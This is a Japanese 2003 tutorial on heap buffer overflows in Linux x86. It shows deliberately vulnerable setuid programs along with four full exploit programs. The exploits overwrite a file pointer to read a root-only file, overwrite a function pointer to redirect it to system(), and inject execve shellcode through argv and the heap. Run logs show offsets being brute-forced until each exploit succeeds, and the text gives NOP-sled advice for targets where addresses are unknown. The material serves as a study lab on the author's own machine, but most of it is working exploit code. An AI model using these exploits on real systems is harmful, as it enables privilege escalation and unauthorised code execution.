[ Heap Buffer Overflow ] ここには Heap Buffer Overflow に関する私の実験の結果を記述しています。 あくまで実験なのでここに書かれてあることが必ずしも正しいとは限らない。 もし間違いなどがあればメールなどで指摘してくれると有難いです。動作確認 は Linux(x86) + gcc で行っています。 >> [ 0x01 ] malloc, calloc, realloc Heap領域とは malloc,calloc,realloc あとは static定義した変数などが使用 するメモリ領域のことである。詳細は検索してください。まずは下のプログラ ムを実行してみる。 heap.c ------------------------------------------------------------------------------ #include #include int main(void) { unsigned long diff; char *buf1, *buf2; buf1 = (char *)malloc(16); buf2 = (char *)malloc(16); diff = buf2 - buf1; memset(buf2, 'A', 16-1); buf2[16-1] = '\0'; printf("buf2 = %s\n", buf2); memset(buf1, 'B', (diff + 8)); printf("buf2 = %s\n", buf2); return 0; } ------------------------------------------------------------------------------ [kenji@localhost heap]$ gcc -Wall heap.c [kenji@localhost heap]$ ./a.out buf2 = AAAAAAAAAAAAAAA buf2 = BBBBBBBBAAAAAAA [kenji@localhost heap]$ さて、このプログラムではおかしなことが起こっている。まず最初に malloc により 16bytes ずつの領域を確保している。buf2 は全てを 0 で埋めている。 ここで buf1 に B という文字列を diff + 8 の長さだけコピーしている。た しかにコピーしているのは buf1 のはずだが buf2 にその文字列が浸入してき ている。このプログラムを図で表す。 ここは Heap領域 だ。1byteを'.'で表す。 - + buf1 buf2 [.... .... .... ....][.... .... .... ....] Stackとは違うのでメモリ空間は通常どおりに消費される。つまりは buf1 側 がメモリ低位で buf2 側がメモリ高位だ。buf2 側のずっと先にStack領域が割 り当ててあるだろう。(ここでは関係ない) - + buf1 buf2 [.... .... .... ....][.... .... .... ....] AAAA AAAA AAAA AAA0 buf2 に A がコピーされる。diff とは何だろうか?これは buf2 - buf1 だ。 つまりは buf2 と buf1 の距離だと言える。ここでは 16 が入ることだろう。 そして diff + 8 と 8 が加算されてるので、24 となる。結果として buf1 か ら 24bytes だけ B が埋められることになる。 - + buf1 buf2 [.... .... .... ....][.... .... .... ....] AAAA AAAA AAAA AAA0 BBBB BBBB BBBB BBBB BBBB BBBB 結果として buf2 が上書きされたことになる。しかしこのような文字列が上書 きされても特に問題はない。実際に実行してみてもプログラムがクラッシュす るようなことも無い。ではここに例えばファイルポインタを持ってきてはどう だろうか。 >> [ 0x02 ] ファイルの差し替え target.c ------------------------------------------------------------------------------ #include #include int main(int argc, char *argv[]) { static char buf[16], *file; FILE *fp; char str[256]; file = "myfile.txt"; printf("before: %s \n", file); printf("argv[1]: %p\n", argv[1]); printf("stdin: "); gets(buf); printf("\n"); printf("after : %s \n", file); if((fp = fopen(file, "r")) == NULL){ fprintf(stderr, "don't open error\n"); exit(1); } fgets(str, 256, fp); printf("%s\n", str); fclose(fp); return 0; } ------------------------------------------------------------------------------ [kenji@localhost heap]$ su Password: [root@localhost heap]# gcc target.c -o target /tmp/ccLb3E1b.o: In function `main': /tmp/ccLb3E1b.o(.text+0x5b): the `gets' function is dangerous and should not be used. [root@localhost heap]# chmod 4755 target [root@localhost heap]# exit exit [kenji@localhost heap]$ このプログラムをコンパイルすると the `gets' function is dangerous and should not be used. というような警告文が出力される。getsは危険なので使用すべきではない。と 訳せる。うーん、なるほどね。でもそれを実験で確かめたいんだよと(笑) このプログラムは標準入力から文字列を受け取るが、それとは関係無くファイ ル myfile.txt を読み込み出力するプログラムだ。さて、Heap領域はどうなっ ているだろうか? - + buf *file [.... .... .... ....][....] こんな感じだ。*file の4bytesに myfile.txt という文字列のアドレス(文字 列へのポインタ)が入ることだろう。さて、このプログラムはもはや setuid されている。root権限で myfile.txt を読むのだが、この文字列へのアドレス を変更する。何に変更するのか?それはroot権限でしか読めないファイル rootfile.txt だ。 [kenji@localhost heap]$ cat myfile.txt this is myfile.txt [kenji@localhost heap]$ [kenji@localhost heap]$ su Password: [root@localhost heap]# cat rootfile.txt this is rootfile.txt [root@localhost heap]# [root@localhost heap]# ls -l -rw-r--r-- 1 kenji kenji 19 Oct 23 19:41 myfile.txt -r-------- 1 root root 21 Oct 23 19:58 rootfile.txt -rwsr-xr-x 1 root root 14359 Oct 23 19:44 target -rw-r--r-- 1 kenji kenji 469 Oct 23 19:44 target.c [root@localhost heap]# [root@localhost heap]# exit exit [kenji@localhost heap]$ [kenji@localhost heap]$ ./target aaa before: myfile.txt argv[1]: 0xbffff94f stdin: dddd after : myfile.txt this is myfile.txt [kenji@localhost heap]$ では、このプログラムを攻撃する exploit を書く。 これはとても簡単なものだ。何故なら、buf配列 16bytes の後の 4bytes がファ イル名へのポインタなわけだから、これを例えば 引数argv[1] のポインタと差 し替えればいいのだ。もちろん argv[1] には中を閲覧したいファイル、 rootfile.txt を設定する。argv[1] に rootfile.txt を設定して、BOFで *file を書き換える exploit を作成する。 exploit.c ------------------------------------------------------------------------------ #include #include #define VULPROG "./target" #define VULFILE "rootfile.txt" unsigned long getesp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { unsigned long addr; int mainbufsize; int i; char *mainbuf, buf[16+4]; if(argc < 2){ fprintf(stderr, "Usage: %s \n", argv[0]); exit(1); } memset(buf, 'A', sizeof(buf)); addr = getesp() + atoi(argv[1]); /* reverse byte order (on a little endian system) */ for (i = 0; i < sizeof(unsigned long); i++) buf[16 + i] = (addr >> (i * 8) & 255); mainbufsize = strlen(buf) + strlen(VULPROG) + strlen(VULFILE) + 13; mainbuf = (char *)malloc(mainbufsize); memset(mainbuf, 0, (mainbufsize)); snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n", buf, VULPROG, VULFILE); printf("Overflowing tmpaddr to point to %p, check %s after.\n\n", addr, VULFILE); system(mainbuf); return 0; } ------------------------------------------------------------------------------ [kenji@localhost heap]$ gcc exploit.c -o exploit [kenji@localhost heap]$ exploit を説明しよう。まず addr には argv[1]のアドレスが入る。何故なら 引数に rootfile.txt という文字列を渡しているからだ。最終的にsystem関数 を使用して実行している命令は heap]$ echo 'buf' | ./target rootfile.txt というものだ。引数にrootfile.txtを渡して target を実行させ、その標準入 力に buf をいれている。もちろん buf は 20bytes あるのでBOFになり *file が書き換えられる。*file には for (i = 0; i < sizeof(unsigned long); i++) buf[16 + i] = (addr >> (i * 8) & 255); で書き換えるべきアドレスを設定している。コメントにも書いてあるが、これ は little endian system での設定だ。よって8bits ずつ逆さまに代入してい る。もしターゲットのマシンが big endian ならばそのまま代入してもいいだ ろう。 big endian: 0x12345678 (4bytes) little endian: 0x78563412 (4bytes) メモリ空間に保存されるのにこのような違いがある。 さてうまくいくだろうか... [kenji@localhost heap]$ ./exploit 650 Overflowing tmpaddr to point to 0xbffff9c6, check rootfile.txt after. before: myfile.txt argv[1]: 0xbffffa01 stdin: after : don't open error [kenji@localhost heap]$ ./exploit 750 Overflowing tmpaddr to point to 0xbffffa2a, check rootfile.txt after. before: myfile.txt argv[1]: 0xbffffa01 stdin: after : D=33554843 don't open error [kenji@localhost heap]$ ./exploit 730 Overflowing tmpaddr to point to 0xbffffa16, check rootfile.txt after. before: myfile.txt argv[1]: 0xbffffa01 stdin: after : e/kenji/heap don't open error [kenji@localhost heap]$ ./exploit 710 Overflowing tmpaddr to point to 0xbffffa02, check rootfile.txt after. before: myfile.txt argv[1]: 0xbffffa01 stdin: after : ootfile.txt don't open error [kenji@localhost heap]$ ./exploit 709 Overflowing tmpaddr to point to 0xbffffa01, check rootfile.txt after. before: myfile.txt argv[1]: 0xbffffa01 stdin: after : rootfile.txt this is rootfile.txt [kenji@localhost heap]$ 見事 rootfile.txt を読むことができた。 >> [ 0x03 ] 関数の差し替え target2.c ------------------------------------------------------------------------------ #include #include #include int goodfunc(const char *str) { printf("\n"); printf("Hi, I'm a good func. I was passed: %s\n", str); return 0; } int main(int argc, char *argv[]) { static char buf[64]; static int (*funcptr)(const char *str); if (argc < 3){ fprintf(stderr, "Usage: %s \n", argv[0]); exit(-1); } printf("(for 1st exploit) system() = %p\n", system); printf("(for 2nd exploit, stack method) argv[2] = %p\n", argv[2]); printf("(for 2nd exploit, heap offset method) buf = %p\n\n", buf); funcptr = (int (*)(const char *str))goodfunc; printf("before overflow: funcptr points to %p\n", funcptr); memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], strlen(argv[1])); printf("after overflow: funcptr points to %p\n", funcptr); (void)(*funcptr)(argv[2]); return 0; } ------------------------------------------------------------------------------ [kenji@localhost heap]$ su Password: [root@localhost heap]# gcc target2.c -o target2 [root@localhost heap]# chmod 4755 target2 さて、このプログラムが理解できるだろうか。関数のポインタを使っていて ちょっと特長的だ。(ちなみに私は始め理解できなかった^^;) 基本的には target.c と同じだ。ファイル名へのポインタであるか関数へのポ インタであるかの違いだけだ。では関数ポインタならばどんなことが可能なの か。例えば system関数 へのポインタに置き換えてsystem関数の引数に実行し たいプログラムを渡してやればうまく実行できるかもしれないと考えられる。 まずは root のみでしか実行できないプログラムを作る。 sPasswd.c ------------------------------------------------------------------------------ #include int main(void) { printf("秘密のパスワード\n"); return 0; } ------------------------------------------------------------------------------ [root@localhost heap]# gcc sPasswd.c -o sPasswd [root@localhost heap]# [root@localhost heap]# chmod 100 sPasswd [root@localhost heap]# ls -l sPasswd ---x------ 1 root root 13370 Oct 11 22:39 sPasswd [root@localhost heap]# system関数へのポインタに差し替えるexploitを書く。 exploit2.c ------------------------------------------------------------------------------ #include #include #define VULPROG "./target2" #define CMD "./sPasswd" int main(int argc, char *argv[]) { int i; unsigned long sysaddr; static char buf[64 + sizeof(unsigned)]; if(argc < 2){ fprintf(stderr, "Usage: %s \n", argv[0]); exit(-1); } sysaddr = (unsigned long)&system - atoi(argv[1]); printf("trying system() at 0x%lx\n", sysaddr); memset(buf, 'A', 64); /* reverse byte order (on a little endian system) */ for (i = 0; i < sizeof(unsigned long); i++) buf[64 + i] = (sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, CMD, NULL); return 0; } ------------------------------------------------------------------------------ [kenji@localhost heap]$ gcc exploit2.c -o exploit2 [kenji@localhost heap]$ execlを使いtarget2を実行する。引数はBOFをさせるbufを渡すargv[1]と実行さ せたいコマンドのargv[2]である。argv[1]により関数のポインタがsystem関数 のアドレスに書き換えられ、そのsystem関数を実行する際の引数として argv[2]の文字列が使用される。これにより任意のプログラムを実行する。 [kenji@localhost heap]$ ./exploit2 7 trying system() at 0x80483f9 (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff942 (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0x80483f9 不正な命令です [kenji@localhost heap]$ ./exploit2 12 trying system() at 0x80483f4 (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff942 (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0x80483f4 sh: ./sPasswd: 許可がありません [kenji@localhost heap]$ system関数のアドレスに差し替えたが、どうやら許可がありませんとなり実行 できないようだ。では次に関数のポインタをshellcodeのアドレスに書き換え るexploitを書く。もちろんshellcodeはargv[2]に置く。 exploit3.c ------------------------------------------------------------------------------ #include #include #include #define VULPROG "./target2" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xffsPasswd"; unsigned long getesp(void) { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { int i; unsigned long sysaddr; char buf[64 + sizeof(unsigned long)]; if(argc < 2){ fprintf(stderr, "Usage: %s \n", argv[0]); exit(-1); } printf("Using stack for shellcode (requires exec. stack)\n"); sysaddr = getesp() + atoi(argv[1]); printf("Using 0x%lx as our argv[1] address\n\n", sysaddr); memset(buf, 'A', 64 + sizeof(unsigned long)); buf[64 + (sizeof(unsigned long)-1)] = '\0'; /* reverse byte order (on a little endian system) */ for (i = 0; i < sizeof(unsigned long); i++) buf[64 + i] = (sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, shellcode, NULL); return 0; } ------------------------------------------------------------------------------ [kenji@localhost heap]$ gcc exploit3.c -o exploit3 [kenji@localhost heap]$ execlを使いtarget2を実行する。引数はBOFをさせるbufを渡すargv[1]と実行さ せたいshellcodeのargv[2]である。target2 はargv[1]をbufにコピーしようと してBOFし関数のポインタが書き換えられる。その書き換えられるアドレスの 先は shellcode を置いた argv[2] のアドレスだ。これにより任意のプログラ ムを実行する。 [kenji@localhost heap]$ ./exploit3 500 Using stack for shellcode (requires exec. stack) Using 0xbffff910 as our argv[1] address (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff91e (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0xbffff910 不正な命令です [kenji@localhost heap]$ ./exploit3 515 Using stack for shellcode (requires exec. stack) Using 0xbffff91f as our argv[1] address (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff91e (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0xbffff91f セグメンテーション違反です [kenji@localhost heap]$ ./exploit3 514 Using stack for shellcode (requires exec. stack) Using 0xbffff91e as our argv[1] address (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff91e (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0xbffff91e 秘密のパスワード [kenji@localhost heap]$ 見事 sPasswd を実行することができた。 target の buf のサイズが十分に大きいならば(例えばshellcodeが入るくらい) 引数をもたない関数へのポインタを使っているプログラムにも対応することが できるだろう。次の exploit は target2 の 2番目の引数(goodfuncの引数)を 使用せずに root権限をうばう。 exploit4.c ------------------------------------------------------------------------------ #include #include #include #define VULPROG "./target2" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xffsPasswd"; int main(int argc, char *argv[]) { int i; unsigned long sysaddr; char buf[64 + sizeof(unsigned long)]; if(argc < 2){ fprintf(stderr, "Usage: %s \n", argv[0]); exit(-1); } printf("Using heap buffer for shellcode (requires exec. heap)\n"); sysaddr = (u_long)sbrk(0) - atoi(argv[1]); printf("Using 0x%lx as our buffer's address\n\n", sysaddr); strcpy(buf, shellcode); memset(buf + strlen(shellcode), 'A', 64 - strlen(shellcode) + sizeof(unsigned long)); /* reverse byte order (on a little endian system) */ for (i = 0; i < sizeof(unsigned long); i++) buf[64 + i] = (sysaddr >> (i * 8)) & 255; execl(VULPROG, VULPROG, buf, "noUse", NULL); return 0; } ------------------------------------------------------------------------------ [kenji@localhost heap]$ gcc exploit4.c -o exploit4 [kenji@localhost heap]$ ./exploit4 100 Using heap buffer for shellcode (requires exec. heap) Using 0x8049954 as our buffer's address (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff946 (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0x8049954 セグメンテーション違反です [kenji@localhost heap]$ ./exploit4 -105 Using heap buffer for shellcode (requires exec. heap) Using 0x8049a21 as our buffer's address (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff946 (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0x8049a21 セグメンテーション違反です [kenji@localhost heap]$ ./exploit4 -103 Using heap buffer for shellcode (requires exec. heap) Using 0x8049a1f as our buffer's address (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff946 (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0x8049a1f セグメンテーション違反です [kenji@localhost heap]$ ./exploit4 -104 Using heap buffer for shellcode (requires exec. heap) Using 0x8049a20 as our buffer's address (for 1st exploit) system() = 0x80483f4 (for 2nd exploit, stack method) argv[2] = 0xbffff946 (for 2nd exploit, heap offset method) buf = 0x8049a20 before overflow: funcptr points to 0x8048560 after overflow: funcptr points to 0x8049a20 秘密のパスワード [kenji@localhost heap]$ 無事に実行できた。 実際はターゲットのプログラムが親切に変数や引数やsystem関数のアドレスを 教えてくれるはずはないので、これは自分で推測しなければならない。しかし Stack Buffer Overflow を知ってるのならばこれは簡単なことだ。NOP命令を 使用すれば良い。exploit3ならばshellcodeの最初の100bytesくらいをNOPで埋 めてargv[2]にわたせば良いし、exploit4なら可能な限りbuf配列の中をNOPで 埋めてやれば良い。これによりチャンスは十分に拡がる。しかし最初にとりあ げた target と exploit のプログラム。ファイルを差し替えるやつはNOPで埋 めるわけにはいかないので、こればっかりは正確なアドレスを推測するしか手 は無い。まぁオフセットを加算しながら試していくプログラムを書くというチ カラ技もあるが... >> [ 0x04 ] 最後に Heap Buffer Overflow は以外に簡単ではなかっただろうか。要は隣接してい るメモリ空間をBOFによって変更して任意のアドレスに飛ばすということだ。 Stack Buffer Overflow はRETやメモリの確保などのスタック特有の性質など があり戸惑う部分が多かったがHeapは案外簡単な仕組みで確保されているので 分かりやすいように感じた。(まぁ少なくとも私はだが...) まぁ Heap であれ Stack であれBOFの基本的な仕組みは同じなので片方が分か れば片方も容易に理解できるだろうということか。 なお、今回のプログラムの数々は w00w00 on Heap Overflows - Matt Conover http://www.w00w00.org/files/articles/heaptut.txt の記事を多いに参考にさせてもらいました。(ホントに感謝!) End. written by kenji aiko 2003/10/23 Copyright (C) 2003 kenji aiko All Rights Reserved